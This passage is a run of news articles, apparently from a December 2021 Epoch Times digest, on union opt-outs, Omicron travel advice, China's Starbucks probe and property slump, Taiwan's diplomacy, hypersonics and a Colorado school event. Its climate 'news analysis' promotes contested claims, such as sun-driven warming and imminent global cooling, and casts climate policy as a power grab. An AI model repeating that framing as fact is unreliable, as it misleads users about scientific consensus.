Wednesday while crews cleared several feet of mud and debris. It was too soon to know how much of a dent the rain would make in the states drought. The system built on the progress of a massive rain storm in October, particularly in Northern California, said Michael Anderson, the state climatologist. Heavy rains moistened the ground, which will ensure more water stays packed in the snow, he said. Last year, the mountain snow lost a lot of moisture into the ground because it was so dry, he said. December, January, and February are typically the wettest months of the year in California; about half of the states annual precipitation falls in that window, he said. If storms dont continue through the winter, the effect of this storm on the drought will be muted, Anderson said. By John Antczak A third grade teacher talks with students about their pandemic-related fears on the first day of in-person learning for five days per week at Stark Elementary School in Stamford, Conn., on March 10, 2021. (John Moore/Getty Images) California Teachers Unions Saw Thousands of Public School Employees Opt Out in 2021: Report The Freedom Foundation has helped approximately 2,000 California teachers and school employees opt out of six major state unions this yeara record high, according to the Orange, California-based national nonprofit. There is definitely a movement happening, and its very apparent that [teachers and school staff] are fed up, Rachel Weigel, California outreach director for the foundation, told The Epoch Times. There are more than 300,000 members in Californias largest teachers union. But according to Weigel, those numbers are dwindling. Currently, there are several key factors contributing to the trend of teachers withdrawing from their unionssuch as the inclusion of critical race theory and whats called comprehensive sexuality education in public school curricula. However, Weigel said, the COVID-19 vaccine mandate was the straw that broke the camels back. These unions are basically backing policies and pushing for things that are causing teachers to be forced out of their jobs, Weigel said. Everything thats happened over the past two years has really opened the eyes of a lot of these teachers of what their union represents and who they really care about. Striking teachers and supporters rally outside City Hall as negotiations resume on Jan. 18, 2019, in Los Angeles. (David McNew/Getty Images) The U.S. Supreme Court ruled in 2018 that because government unions are inherently political, forcing employees to join a union violates their First Amendment rights based on speech, representation, and association. From that day forward, joining a union was no longer required for government employment in the United States. However, some experts say many school employees who oppose the political affiliations of their unions are not aware they can opt out of representation. We help make sure that every public employee knows these rights, because knowledge is power, Weigel said. According to the foundation, unions representing government employees take as much as 2.5 percent of their wages. In its report titled Cycle of Corruption, the foundation said, The unions use most of these dollars to fund the campaigns of politicians who agree to do their bidding once safely in office. After the politician takes office, they pass legislation and raise taxes on private sector businesses and individuals to grow the size of government, according to the report. According to filings with the state of California, the union representing teachers in California raised approximately $1.8 million to help stave off the recent recall effort against California Gov. Gavin Newsom. In October, Newsom announced all school employeesboth public and privateand students must be vaccinated by July 2022 to remain on campuses, unless medical or personal belief exemptions apply. The Orange County Classical Academy in Orange, Calif., on March 10, 2021. (John Fredricks/The Epoch Times) Before Newsoms announcement, Megan Ruth, a middle-school science teacher, said she had only spoken once with her union representatives at Capistrano Unified Education Association. Last year, her union, she said, saved her jobalong with those of approximately 80 other teachersafter Capistrano Unified School District issued pink slips indicating possible layoffs were in the works due to fewer enrolling students. Ruth knew as a tenured teacher her job was secure, and her union fought for her. But since then, a new conversation between Ruth and her union representatives arose after the vaccine mandates put her job at risk again. Last summer, she started considering opting out of her union and the larger California Teachers Association, of which she is also a member. The Covid mandates that [the union supports] by supporting politicians who put them in place is something I can no longer support and be a part of and pay money to, Ruth wrote to the president of her union last August. Ruth sent her opt-out letter to both unions in August. However, both organizations only allow a 30-day window for members to opt out before their annual commitment date. Ruth missed the deadline by two weeks. If I knew about the certain amount of time to leave, I would have never signed, she said. The Orange County Classical Academy in Orange, Calif., on March 10, 2021. (John Fredricks/The Epoch Times) According to the Capistrano Unified Education Associations website, it serves approximately 2,300 members, including teachers, counselors, speech pathologists, psychologists, librarians, and nurses. Ruth and thousands of other school employees statewide, the Freedom Foundation said, could not remain members of their unions considering the financial backing of California politicians who back the vaccine mandates. Theyre doing a bunch of other things behind the scenes that I dont think a lot of members are aware of, and I find that super wrong, Ruth told The Epoch Times. Melissa Goldbeck, a district nurse for the Capistrano Unified School District, served as a representative for her union during the 20192020 school year, but has now opted out, she said, because of political concerns. The point of a labor union is to make sure that working standards are appropriate and safe for all members, regardless of ideology, and I dont think that is happening, nor have I witnessed it, Goldbeck told The Epoch Times. In addition to Weigels work with the foundation, Rebecca Friedrichs of San Clemente, California, continues her advocacy to give teachers options. Friedrichs, who taught in the California public school system for 28 years, was at the center of a lawsuit on the issueFriedrichs v. California Teachers Associationwhich was heard by the U.S. Supreme Court in 2016. Rebecca Friedrichs waves to supporters after arguments at the U.S. Supreme Court in Washington on Jan. 11, 2016. (Mark Wilson/Getty Images) Court observers predicted SCOTUS would rule in her favor 5 to 4. But the death of Justice Antonin Scalia changed the outcome. The case tied at 4 to 4 and was sent back to the U.S. 9th Circuit Court of Appeals, which ultimately ruled in favor of the unions. However, the case paved the way for Janus v. AFSCME, the 2018 ruling that mandatory union membership violates the U.S. Constitution. Friedrichs said that before COVID-19, she felt alone fighting the unions. But when schools shut down and students transitioned to online learning, it not only awakened parents, but also prompted thousands of teachers to finally opt out. Our goal is to be a messaging campaign, Friedrichs told The Epoch Times. If teachers and parents will stand together, they can remove the unions from our schools and stop funding them. The California Teachers Association and the Capistrano Unified Education Association didnt respond to requests for comment. Minister of Health Jean-Yves Duclos speaks during an update on the governments response to the COVID-19 pandemic, in Ottawa on Dec. 10, 2021. (THE CANADIAN PRESS/Justin Tang) Canada Issues Travel Advisory as Omicron Fears Rise The federal government is advising Canadians against non-essential travel to foreign countries amid concerns about the Omicron variant. Federal Health Minister Jean-Yves Duclos made the announcement at a press conference on Dec. 15. To those who were planning to travel, I say very clearlynow is not the time to travel. The rapid spread of the Omicron variant on a global scale makes us fear the worst, Duclos said. When asked if Canadians who travel despite the advisory would be subject to quarantine upon returning, Duclos did not answer directly, saying only that additional measures are being considered by the government and mandatory arrival testing will be ramped up in airports. Prime Minister Justin Trudeau called new SARS-CoV-2 variant scary during an interview with radio station Red FM Toronto on Dec. 14. Despite the House of Commons being under vaccine and mask mandates, and with the majority of MPs having already voted to conduct hybrid sessions with remote attendance, the Liberals announced on Dec. 14 they were further cutting down in-person participation in Parliament due to Omicron. Government House leader Mark Holland said the Liberals will greatly reduce the number of their MPs in the chamber and intend to hold all caucus meetings virtually for the time being. The concerns seem to stem from Omicrons high transmissibility and capability to evade vaccine protectiona subject the World Health Organization (WHO) addressed in a recent technical briefing on Dec. 10. Preliminary evidence, and the considerably altered antigenic profile of the Omicron spike protein, suggests a reduction in vaccine efficacy against infection and transmission associated with Omicron, wrote the WHO, based on limited available data. Trudeau held a call with provincial premiers on Dec. 14, where new measures were discussed to deal with Omicron. A readout of the call provided few details, but said the PM consulted premiers on additional border and travel measures that could help slow community spreading, and First Ministers discussed other potential measures to keep Canadians safe. The readout reiterated the authorities assertion that mass vaccination is necessary to defeat the SARS-CoV-2 virus, which causes COVID-19. The Prime Minister and premiers agreed that the key to moving beyond this pandemic is ensuring that as many Canadians as possible, including children, get vaccinated and have access to booster shots, particularly our most vulnerable, it said. Combating Omicron with available vaccines could prove to be a challenge, according to emerging research. The U.S. Centers for Disease Control and Prevention (CDC) published a report on Dec. 10 based on limited data showing that out of 43 cases attributed to Omicron, 34 individuals had received the full course of an approved vaccine and 14 had received a booster shot (with five of the 14 having received the dose less than two weeks before symptom onset). Six individuals also had a previous SARS-CoV-2 infection, which indicates that 40 out of 43 cases had some form of protection against previous virus strains, which could not stop the highly-mutated Omicron variant. Nevertheless, higher transmissibility and protection evasion did not necessarily equate to more dangerous outcomes. The CDC said the most commonly reported symptoms from Omicron thus far have been cough, fatigue, and congestion or runny nose. One vaccinated patient was hospitalized for 2 days, and no deaths in the United States have been reported to date, according to CDC data. A large study from South Africa, where Omicron was first discovered, reported similar findings. Released on Dec. 14, the data is associated with the first three weeks of the Omicron-driven wave in the country. The study says the Pfizer vaccine is 33 percent effective against infection from the Omicron variant and 70 percent effective against severe complications. For individuals with a prior infection, the study says the risk of severe infection is significantly higher, relative to prior variants. As for the severity, the study said The risk of hospital admission among adults diagnosed with COVID-19 is 29% lower for the Omicron variant infection compared to infections involving the D614G mutation in South Africas first wave in mid-2020, after adjusting for vaccination status. The study was conducted by Discovery Health, South Africas largest private health insurance administrator and is based on 211,000 COVID-19 test results in South Africa. Provinces React to Omicron Some provinces have already taken steps to address the spread of Omicron. In Atlantic Canada, travellers arriving in Prince Edward Island will need to isolate until receiving a negative COVID-19 test and indoor gatherings will be limited to 20 people. Quebec is asking employers to recommend working from home and is seeking to accelerate its booster shot campaign and make rapid tests available to the public at large. This last measure is also being pursued by Manitoba and Alberta. Despite Omicron fears, Alberta Premier Jason Kenney announced on Dec. 15 that the province is loosening indoor gathering limits ahead of the holidays. Previously only two households could gather privately indoors and now any number of households can gatherup to 10 people above age 18, with no limits for those under 18. The notion that we could just cancel Christmas, in an excess of caution for the second time I dont think reflects what Albertans would be willing to tolerate. So were trying to balance these things, Kenney said in a press conference. Kenney also pushed back on the idea that more travel restrictions are needed considering Canadians high vaccine uptake and health measures already in place. The public will not, I believe not Alberta, not the rest of Canada, will not accept a permanent, long-term impairment of basic aspects of a free life, and one of those aspects is travel, he said. The Canadian Press contributed to this report. China Investigates Starbucks for Expired Ingredients, Targets US: Commentator Starbucks closed two stores in East China on Dec. 13, hours after Chinese state-run media reported the stores were using expired ingredients. Public opinion on Chinese social media platforms quickly criticized Starbucks products, which are more expensive than local Chinese brands but better in quality and taste. According to a China commentator, this is the newest case in which the Chinese regime used its propaganda system to attack a foreign enterprise. Theres no doubt that the Starbucks scandal is a designed campaign that the Chinese regime is using to express its anger toward the U.S. government for boycotting the Beijing Olympics, U.S.-based China affairs analyst Tang Jingyuan told The Epoch Times on Dec. 14. [Beijing] chose Starbucks because its very popular in China. Starbucks released its 2021 fiscal report on Oct. 28, in which the American brand said its China comparable store sales increased 17 percent, driven by a 19 percent increase in comparable transactions and a two percent decrease in average ticket, for the year. Starbucks had 5,300 stores across more than 200 cities in China. Tang explained the details of the Chinese regimes propaganda strategy against Starbucks. It [the Chinese regime] chose state-run media in Beijing to report the scandal and sent the reporters from Beijing to Wuxi, a city over 830 miles away, to be the undercover investigators. It wanted them to do it secretly, so local people wouldnt be aware of what they were doing, Tang said. After Beijing News released the video, it used all the propaganda machines to broadcast and promote the video all around the country. Everybody knows clearly that Chinas censorship apparatus doesnt promote content that doesnt meet the regimes needs. In other words, [it] cant be broadly seen in China, Tang said. Visitors wait for their coffee at the Starbucks Reserve Roastery outlet, in Shanghai, China, on Dec. 6, 2017. (-/AFP via Getty Images) In September, while Chinese telecommunicate giant Huaweis CFO Meng Wanzhou was awaiting a hearing in a Canadian court on whether to extradite her to the United States for alleged business relations with Iran, the Chinese regime fined Canada Goose, a Canadian down and feather company, $70,700 for using duck down mixed with goose down. In early December, Canada Goose suffered a drop of 14 percent on the stock market after the Chinese regime criticized its refund policy in China. In March, Nike, Swedish clothing company H&M, and several other foreign brands witnessed their sales dropping after they refused to use cotton from the Xinjiang region, where the Chinese regime is persecuting Uyghurs in forced labor camps. A woman browses her phone while walking past a Nike logo inside a shopping mall, in Beijing, on June 2, 2021. (Nicolas Asfouri/AFP via Getty Images) Chinese Comments After Beijing News posted a video on Dec. 12shot by undercover reportersto Chinas social media platform Weibo, Chinese censors promoted the video, allowing it to gain over 3.14 million views within one day. Several portals and news websites also reposted the video, causing the total views to reach over 270 million in 24 hours and anger a substantial number of viewers. Starbucks has a bad conscience to use expired materials. Their products are expensive, Chinese netizen Kana commented on Weibo, gaining 9,565 likes in one day. Huxiu, a popular Chinese news website that attacks middle- and upper-class readers, posted an article on Dec. 14 titled The Evil Starbucks! Of Course, We Wont Forgive It, to criticize Starbucks. On Dec. 13 and 14, the market supervision administration in central Chinas Hunan Province and eastern Chinas Shandong Province quickly investigated their local Starbucks stores by hiring cameramen to broadcast the entire process. These Starbucks stores didnt use expired ingredients. Illustrations drawn by employees on coffee cups at Starbucks during the Five-day May Day holiday in Wuhan, China, on May 3, 2020. (Getty Images) Starbucks Scandal Beijing News reporters applied to be clerks at two Starbucks stores in Wuxi in Jiangsu Province, and were hired in October and November. They then shot a video by using hidden cameras. In the released video, the undercover reporters captured their coworkers changing the expiration dates on cream, cocoa chips, matcha, and black and peach tea when they were close to expiring. After the video was released, Starbucks China released a statement on Dec. 13, saying that the two stores were closed and under reform. The company will retrain all employees in China to strictly follow the food safety standards, and will arrange more inspections in the future. We sincerely apologize and will actively improve the quality of service. We will coordinate the investigation very closely and sincerely ask for scrutiny from the public and the media, read the statement. A man crosses a bridge near an apartment complex in Beijing on Dec. 1, 2020. (Greg Baker/AFP via Getty Images) China Nov New Home Prices Suffer Biggest Decline in 6 Years Chills over Chinas property market spread in November as both home prices and sales slumped to a six-year low, according to official data on Dec. 15. According to the latest new home price indices released by the National Bureau of Statistics (NBS), new home prices in 70 tracked Chinese cities slipped 0.3 percent month-on-month in November, the biggest decline since February 2015. It was worse than the 0.2 percent drop in October. Only nine of the 70 cities saw monthly price gains in November, the fewest since February 2015, according to Reuters. Meanwhile, new home prices have dropped in 64 cities so far this year. New home prices dropped 0.4 percent on a monthly basis in tier-two cities and 0.3 percent in tier-three and four cities, compared with zero growth in tier-one cities last month. In a separate NBS statement, home sales by value slumped for a fifth month to 16.31 percent, flagging gloomy demand despite supportive measures taken by some cities to boost transactions. Chinas central bank on Dec. 6 announced a cut to the amount of cash that banks must hold in reserve, freeing more cash for lending. Such a move is the second this year, attempting to bolster slowing growth. Meanwhile, six or more cities have introduced measures to boost home purchases since November, including providing subsidies or deed tax reductions, local media reported. Yet unsold housing stock in Chinas 100 biggest cities rose to the highest level in five years in November, according to a private-sector survey on Dec. 10. The countrys property industry has been grappling with tighter regulations this year, including limits on how much property developers can borrow amid growing financial woes. In November, Chinas property investment by developers fell 4.3 percent, according to the NBS, as new construction starts as measured by floor area tumbled over 20 percent. Last week, China Evergrande Group and Kaisa, another major developer, defaulted on their offshore bonds, prompting rating agency Fitch to downgrade the two to restricted default status. Downward pressure on the housing market has increased in some cities, NBS spokesperson Fu Linghui told reporters at a Dec. 15 news conference, Bloomberg reported. Constraints from sporadic virus outbreaks on consumption, especially in-person consumption, still persist, said Fu. Chinese authorities on Dec. 14 reported a second case of the Omicron variant in a 67-year-old man from the southern city of Guangzhou. Reuters contributed to this report. Taiwan Foreign Minister Joseph Wu speaks at an event marking the 70th anniversary of American Chamber of Commerce in Taipei, Taiwan, on Dec. 8, 2021. (Fabian Hamacher/Reuters) China Targets Taiwans Allies Amid US-Led Democracy Summit: Taiwan Foreign Minister Nicaraguas decision to cut ties with Taiwan was part of a deliberate move by the Chinese regime targeting the islands diplomatic allies, following Beijings exclusion from the U.S.-led democracy summit, Taiwans foreign minister said on Dec. 14. The government of Nicaragua announced on Dec. 9 that it terminated diplomatic relations with Taipei and switched allegiance to Beijing, declaring that it recognizes there is only one single China in favor of the Chinese communist regime. The severing of ties has left the self-ruled islandwhich China claimed as its ownwith 14 formal diplomatic allies, most of them in Latin America and the Caribbean. Losing a diplomatic ally is a very painful thing for us, Taiwan Foreign Minister Joseph Wu told reporters on Tuesday. He said the greatest efforts of the foreign ministry to maintain ties with the former ally were in vain. When democratic countries were holding a democratic summit, China was excluded. [It] chose this opportunity to set about targeting our diplomatic allies, said Wu on the sidelines of a forum on regional security. Representatives of Taipei joined the Summit for Democracy last week, a two-day virtual gathering organized by the Biden administration. China was not among the invitees, along with Burma (also known as Myanmar), Russia, and Vietnam. Taiwan President Tsai Ing-wen said on Dec. 10, The more successful Taiwans democracy and stronger the support for Taiwan from the international community, the larger pressure from the authoritarian rule camp comes. Chinas foreign ministry spokesperson, Wang Wenbin, said on the same day that countries will establish or restore normal diplomatic relations with China. On Dec. 13, days after the severance of diplomatic ties with Taiwan, Nicaragua received one million Chinese-made COVID-19 vaccines from Beijing. The U.S. State Department said the Central American nations decision did not reflect the will of the Nicaraguan people due to its unfree, unfair election. Nicaraguan leader Daniel Ortega, who secured a fourth term in Novembers election, earlier jailed 40 opposition figures, including seven potential presidential candidates. This is the second time that Nicaragua has cut ties with Taiwan under the president. Ortega first ended 55 years of formal relations with Taiwan in 1985, which were re-established in 1990 under then-President Violeta Barrios de Chamorro. Reuters contributed to this report. Chinese Researchers Built Hypersonic Aircraft Prototype Using Design Scrapped by NASA Chinese researchers say that theyve built a prototype hypersonic flight engine based on a NASA design that was scrapped more than two decades ago. The development comes months after the Chinese regime tested a nuclear-capable hypersonic missile that reportedly took U.S. intelligence by surprise. In a peer-reviewed paper published on Dec. 5 in Chinas Journal of Propulsion Technology, a Chinese research team said they had developed and tested a prototype hypersonic flight engine using a two-decade-old U.S. design. The team, led by Tan Huijun, a professor at Nanjing University of Aeronautics and Astronautics in Jiangsu province, China, said in the paper that the design by NASA attracted much attention among Chinese researchers, since understanding its work mechanism can provide important guidance to hypersonic plane and engine development. The U.S. design was proposed by Ming Han Tang, a Chinese American, when he was the chief engineer of NASAs High-Speed Research Program from 1996 to 1999. Unlike most hypersonic aircraft designs that have one engine on their bellies, Tang proposed a Two-Stage Vehicle X-plane with two engines on each side of the aircraft. The two engines operate as normal turbine jet engines when the plane travels at lower speeds, and they can quickly switch to high-speed mode to accelerate to a hypersonic speedwhich, by definition, is at least five times faster than the speed of sound. NASA Dryden aircraft and avionics technicians install the nose cone on a hypersonic Phoenix missile prior to a fit check on the centers F-15B research aircraft in Washington on Nov. 13, 2006. (NASA Photo / Tom Tschida) The NASA design was supposed to be verified by the Boeing Manta X-47C program. But due to the high cost and several technical issues, the program was terminated by the U.S. government in the early 2000s. Thus the effectiveness of Tangs design had remained an open question. In 2011, the NASA design was declassified. Now, 10 years after the declassification, Chinese researchers have announced that theyve built and tested a prototype flying machine with two side-opening inlets, matching Tangs design. According to the paper, the team tested the prototype in March for several seconds in a wind tunnel, a large tube that can simulate flight conditions at super high speeds from Mach 4 to Mach 8. Hypersonic speeds start at Mach 5. The test showed that Tangs dual-engine layout works, but isnt perfect, according to the paper. Computer simulation and experimental results suggested that strong turbulence was likely to occur around the corners of the inlets, which could affect flight stability. There was also a limit to how steeply a plane could climb without choking the engines, the paper reads. Many challenging issues still had to be resolved. Chinese J-15 fighter jets are launching from the deck of the Liaoning aircraft carrier during military drills in the Yellow Sea, off Chinas east coast on Dec. 23, 2016. (STR/AFP via Getty Images) Hypersonic Race In July, China tested a hypersonic weapon that circled the globe before releasing a glide vehicle. The test involved launching a rocket carrying a hypersonic glide vehicle into orbit before it released the glide vehicle, which reentered the atmosphere and sped at hypersonic speeds toward its target. The vehicle also reportedly released a second missile, an unprecedented capability. Unlike an intercontinental ballistic missile, which travels in a predictable parabolic arc and can be tracked by long-range radars, a hypersonic weapon flies at lower altitudes at much faster speeds and can maneuver to its target. This would make it harder for U.S. defense systems to track. U.S. missile defense systems are aimed at ballistic missile threats coming over the North Pole, so the technology could be used to send nuclear warheads over the South Pole and blindside the United States. If the Chinese regimes new weapon experiment reaches maturity, it could pose a major challenge to current U.S. missile-defense systems. While the Chinese Communist Party (CCP) initially denied that it had carried out such a test, which was first reported by Financial Times, Pentagon officials have confirmed the event. According to Financial Times, the glide vehicle missed its target by roughly 24 miles. For that reason, some U.S. military experts dont consider the test to have been a complete success. Gen. John Hyten, then-vice chairman of the Joint Chiefs of Staff, said in October that the United States military researched a hypersonic glide vehicle system similar to the one tested by China. But after two failed tests, the project was canceled. He also said the missile appeared to be a nuclear first-use weapon. Hyten lamented the Pentagons complicated bureaucracy and risk-averse culture, as well as its unwillingness to suffer failures in the development process. These factors, he said, have prevented the United States from developing more advanced technologies to counter Chinas advancing of its military capabilities. The Pentagon building is seen in Washington in a file photograph. (AFP via Getty Images) According to a recent report by the Stockholm International Peace Research Institute, Chinese weapons manufacturers took the second-largest share of global sales after U.S. firms in 2020. The Swedish think tank said Chinas modernization program has driven its arms producers to be more competitive. A July study by RAND Corp. noted that though the CCPs military has overcome many technological obstacles to chip away at the U.S. military supremacy in recent years, much of its progress came from intellectual property theft, foreign acquisitions, and joint ventures. In the face of Chinas accelerating military advancements, U.S. Secretary of Defense Lloyd Austin said earlier this month that America isnt a country that fears competition. Were clear-eyed about the challenge China presents. But Chinas not 10 feet tallthis is America, Austin said during a speech at the Reagan National Defense Forum on Dec. 4. We have the greatest innovators in the world, and were going to do whats necessary to create the capabilities that help us maintain the competitive edge going forward. Two days after Austins speech, the U.S. Missile Defense Agency announced that it had finished installing radar arrays and that it had completed the military construction for the Long-Range Discrimination Radar in Alaska. The agency said in a statement that radar would be able to address hypersonic missiles in future configurations. U.S. President Joe Biden looks at a video screen displaying the participants in the Summit for Democracy as he delivers opening remarks in the South Court Auditorium in Washington on Dec. 9, 2021. (Chip Somodevilla/Getty Images) Chinese State-Run Media Attempt to Smear US Democracy During Biden Summit: Experts As U.S. President Joe Biden hosted the Summit for Democracy last week, Chinese state-run CGTN broadcast a two-episode program attacking American democracy. The documentary-style program U.S. Democracy: A Reality Check was broadcast on CGTNs English language channel on Dec. 9- 10, and on the medias official website. CGTN Spanish, French, Arabic, and Russian channels will reportedly also broadcast the two episodes online. The episodes criticized U.S. democracy saying it was dominated by money politics and that the country had wealth inequality and police brutality issues. The program also accused Washington of forcing its version of democracy upon others while dividing the world into two opposing camps. The program further claimed that U.S. policies have resulted in multinational humanitarian disasters. Political pundits have said the CGTN program was targeting the summit that more than 100 nationsexcluding China and Russiaparticipated virtually in on Dec. 9-10. U.S.-based Chinese affairs commentator Tang Jingyuan pointed out that the Chinese regimes program confuses the concept of democracy. The democratic system is just a form of political organization. It ensures that the source of this public right is generated by citizens elections, Tang said. Every citizen has an equal right to participate. It is essentially a public right, he said. However, the widening gap between the rich and the poor, police brutality etc., these are issues about the proper implementation of government policies. Its a different thing from the source of the governments power. President Joe Biden delivers opening remarks for the virtual Summit for Democracy in the South Court Auditorium in Washington, D.C. on Dec. 9, 2021. (Chip Somodevilla/Getty Images) Tang then offered comparisons on the issues cited by CGTN and how they are dealt with in China by the ruling Chinese Communist Party (CCP). We can see that the gap between the rich and the poor in mainland China is now the highest in the world. The types of brutality applied by CCP police, such as the use of torture, are too many to count, he said. If you follow the CCPs own logic, the CCPs system is the most failing, he said. As to causing humanitarian disasters in other countries, we can see that the fundamental reason is not that the democratic system is not good it is because of many extreme forces, terrorist forces, undemocratic forces have caused the destruction of peoples rights. Stir up Chinese People Canada-based lawyer Lai Jianping said the purpose of the CGTN program was to discredit the American democratic system and manipulate public opinion so to further CCP control over the Chinese people. They try to stir up Chinese people to oppose universal values, and oppose the United States and the West, with the ultimate goal of defending the CCPs dictatorship, Lai said. Because human society is composed of human beings, after all, it is not a paradise on earth. Any society will have some dark sides. [The CCP] take out these so-called dark sides and exaggerate them so as to demonize democracy in the United States and the entire West, misleading and controlling Chinese people, so to create public opinion in China that supports their dictatorship. This is what it is about, Lai said. The CCP mobilized its propaganda machine, used its mouthpiece to smear the American system and American democracy on a large scale. Three Principal Themes The communist regime was also angry that Taiwan took part in the summit which was centered around three principal themes: defending against authoritarianism, addressing and fighting corruption, and advancing respect for human rights. Taiwan can make meaningful commitments toward the three themes objectives, a spokesperson for the U.S. State Department told The Epoch Times in an email. A video wall displaying participants in the White Houses Summit for Democracy stands in the South Court Auditorium in Washington, D.C. on Dec. 09, 2021. (Chip Somodevilla/Getty Images) Lai said the summit was a great way to unify the worlds democracies. From the standpoint of universal values, the future and destiny of mankind, the rivalry between of the civilized and the barbaric, the summit is a call for the battle against the CCP, he said. Its a major blow to the CCP. It also shows strong solidarity and support for a free and democratic Taiwan, and it is also a powerful deterrence to any attempt the CCP may make to invade Taiwan, he said. Washington and Taipei do not have formal diplomatic ties. However, the United States maintains a robust relationship with the island, and supplies military equipment to Taiwan for its self-defense under the Taiwan Relations Act. In October, President Biden said that the United States was obligated to defend Taiwan if the island was attacked by China. Tang pointed out two things that he thought were significant about the summit. The first is that it is completely denying the legitimacy of the CCP in terms of ideology and it has isolated and formed a kind of encirclement around the CCP. It is also to ensure the leadership of the United States and the existing international order will not be subverted by the CCP, Tang said. The second significance is that the Summit for Democracy forms a de facto alliance of nations on a global scale, he said. It can make up for the shortcomings of the UN in many ways. It can prevent the CCPs infiltration and manipulation to the utmost extent. Another democracy summitan in-person eventwill be held in a years time. Yi Ru and Frank Fang contributed to the report. World Leaders at the COP26 UN Climate Change Conference in Glasgow, Scotland, on Nov. 1. World leaders have often spoken on the imminent dangers of climate changedangers which often recede across the horizon. (ALBERTO PEZZALI/POOL/AFP via Getty Images) Climate Policy and the Expansion of Government Power Politicians around the globe use a warming planet as a mandate to expand powers News Analysis Christmastime is herewell, almostbut talk of global warming hasnt slowed down with the cooling weather. In fact, it seems like concern about the climate influences everything these days. In Washington, the solidly Democratic House has given a divided but Democrat-controlled Senate an expensive new piece of legislation. The $2 trillion Build Back Better Act was approved by the House on Nov. 19 with opposition from just one Democrat, Jared Golden (D-Maine). Unsurprisingly, the word climate appears in it 131 times, while the words greenhouse gas or greenhouse gases appear 72 times. This isnt a new trend. The $1 trillion infrastructure measure, now the law of the land, uses the word climate 22 times and the word carbon a staggering 203 times. Cars and traffic fill the A100 ring highway at dusk in Berlin, on Nov. 3, 2014. (Sean Gallup/Getty Images) After four years of President Donald Trump, 2021 marked a return to Obama-era form on many issues, climate policy being among them. The Biden administration has stepped up the focus on all things climate, even beyond the precedent set under President Barack Obamaall while debate about the existence, causes, and trajectory of climate change has faced unprecedented suppression. Within days of taking office, President Joe Biden signed a major executive order on climate change that tied climate to everything from national security to environmental justice. An executive order in May tasked various parts of the federal government with developing new measures for estimating climate-related risk. In a recent Twitter thread, journalist Michael Shellenberger discussed a new report from the Fed that suggests that climate-related policy could pose more of a threat to banking than the climate itself. He said the Biden administrations ambition to radically alter how Americas banks lend money, the energy sector, and the economy as a whole, said to be a response to climate change, could be driven by wealthy shareholder activists who stand to become richer in the process. UK Prime Minister Boris Johnson (L) and UN Secretary-General Antonio Guterres (R) greet U.S. President Joe Biden at the COP26. (Christopher Furlong/Getty Images) World leaders ranging from the UKs Boris Johnson and Indias Narendra Modi to Chinas Xi Jinping and Canadas Justin Trudeau have often spoken on the imminent dangers of climate changedangers that, in retrospect, often recede across the horizon to some future date in the near (but not too near) future (the Competitive Enterprise Institute has summarized some of this memorable doomsaying, as first gathered by Tony Heller). Unsurprisingly, politicians and other government officials have used concerns about a warming planet as a mandate to expand their powers, not just in one area, but in virtually all spheres of life. Everything has something to do with climate change, it seems. In China, a series of power cuts this autumn may have been prompted in part by the U.N.s COP26 Climate Conference, according to University of South Carolina Aiken professor Frank Tian Xie. Writing in The Epoch Times, Xie said Chinas Xi wanted to look good in front of other world leaders if he made a promise that China would slash carbon emissions, power consumption, and pollution levels within a month, at all costs. In August, the U.S. Department of Health and Human Services launched the new Office of Climate Change and Health Equity. Assistant Secretary of Health and Human Services Rachel Levine said the new office would use the lessons learned from COVID-19 to address these disparities, prioritizing and protecting the nations health. Many other government officials have speculated about applying such lessons learned from COVID-19 to climate change, including through climate lockdowns. In his remarks to the 2020 G-7 Speakers Meeting, Sir Lindsay Hoyle, the speaker of the UK House of Commons, appeared to advocate for COVID-19-style limitations on personal choice and lifestyle to address climate change. Mariana Mazzucato, an economist at University College London who has served on panels for multiple governments and the World Health Organization, wrote in a September 2020 article for Project Syndicate that in the near future, the world may need to resort to lockdowns againthis time to tackle a climate emergency. The high-intensity climate rhetoric of 2021 culminated at COP26 in Glasgow, Scotland, where signatories to the final agreement reached at the event pledged to phase down unabated coal, softening language in an earlier draft (from phase out) at the request of India. A general view of an open coal mine near Mahagama, Jharkhand state, India, on April 5, 2019. At COP26, signatories to the final agreement softened the language in an earlier draft at the request of India. (XAVIER GALIANA/AFP via Getty Images) U.N. Secretary-General Antonio Guterres said the final document was not enough. We must accelerate climate action to keep alive the goal of limiting global temperature rise to 1.5 degrees, Guterres said, urging the world to enter into emergency mode. The Intergovernmental Panel on Climate Changes (IPCC) latest report, released in August, is less extreme in tone, even stating that the likelihood of high emissions scenarios that have been modeled is considered low in light of recent developments in the energy sector. Even as climate science has been used to expand the power of governments and multilateral agencies, differing perspectives have persisted. Researcher Valentina Zharkova told The Epoch Times that her predictions of a Grand Solar Minimum have been vindicated, meaning global cooling could begin in the near future. Notably, while some months reportedly approached or surpassed record global highs in 2021, the 2021 cold season at the South Pole was the coldest on record. Chilean and U.S. scientists looking at a solar eclipse from the Union Glacier in Antarctica, on Dec. 4, 2021. (FELIPE TRUEBA/Imagen Chile/AFP via Getty Images) Another study concluded that climate change is primarily driven by the sun and not by carbon dioxide. In their insistence on forcing a so-called scientific consensus, the IPCC seems to have decided to consider only those data sets and studies that support their chosen narrative, Ronan Connolly, the lead author of the study, told The Epoch Times. In other new research, economist Ross McKitrick has challenged a key statistical methodology used to attribute climate change to greenhouse gas emissions, spurring a debate with one of its developers, as detailed in The Epoch Times. Under-Secretary for Science of the United States Department of Energy during the Obama administration. (United States Department of Energy) Steven Koonin, a theoretical physicist who served in the Obama administrations Department of Energy, told NTD Television that rapid, politically driven changes to energy were dangerous. If we make changes too fast, it will cause more damage than any conceivable damage from climate change, Koonin said. Chris Wright, chief executive of the natural gas firm Liberty Oilfield Services, told The Epoch Times that climate change is real but that theres no chance of the world reaching net-zero by 2050. At a time when some climate science conclusions are prompting massive global action, debate would seem vitaleven indispensable. But Big Tech companies such as Google, Facebook, and Twitter have moved to stifle those conversations by defining some content as climate misinformation and either demonetizing it or otherwise suppressing it. This anti-free speech trend will likely continue in 2022. Yet, the new year may also bring new concessions to the need for cheap, reliable energy, particularly if Republicans take both the House and Senate. In the medium- to long run, advances in fusion and other energy technologies may help solve the worlds energy needs. Still, its hard to imagine the rhetoric on climate will cool down any time soon. Colorado Elementary School Faces Backlash for Promoting Families of Color Playground Night An elementary school in Colorado has gone viral on social media after promoting what appears to be a racially segregated event on the schools playground. The Centennial Elementary School, which is part of the Denver Public School (DPS) system, has recently planned Families of Color Playground Night[s]. The schools calendar suggests that the first event was scheduled to take place on Oct. 13, and would then reoccur on the second Wednesday of each month at school, outside, as long as weather permits. Denver Public Schools now promoting racially-segregated playtimefor equity. pic.twitter.com/QO5XZXHfcX Christopher F. Rufo 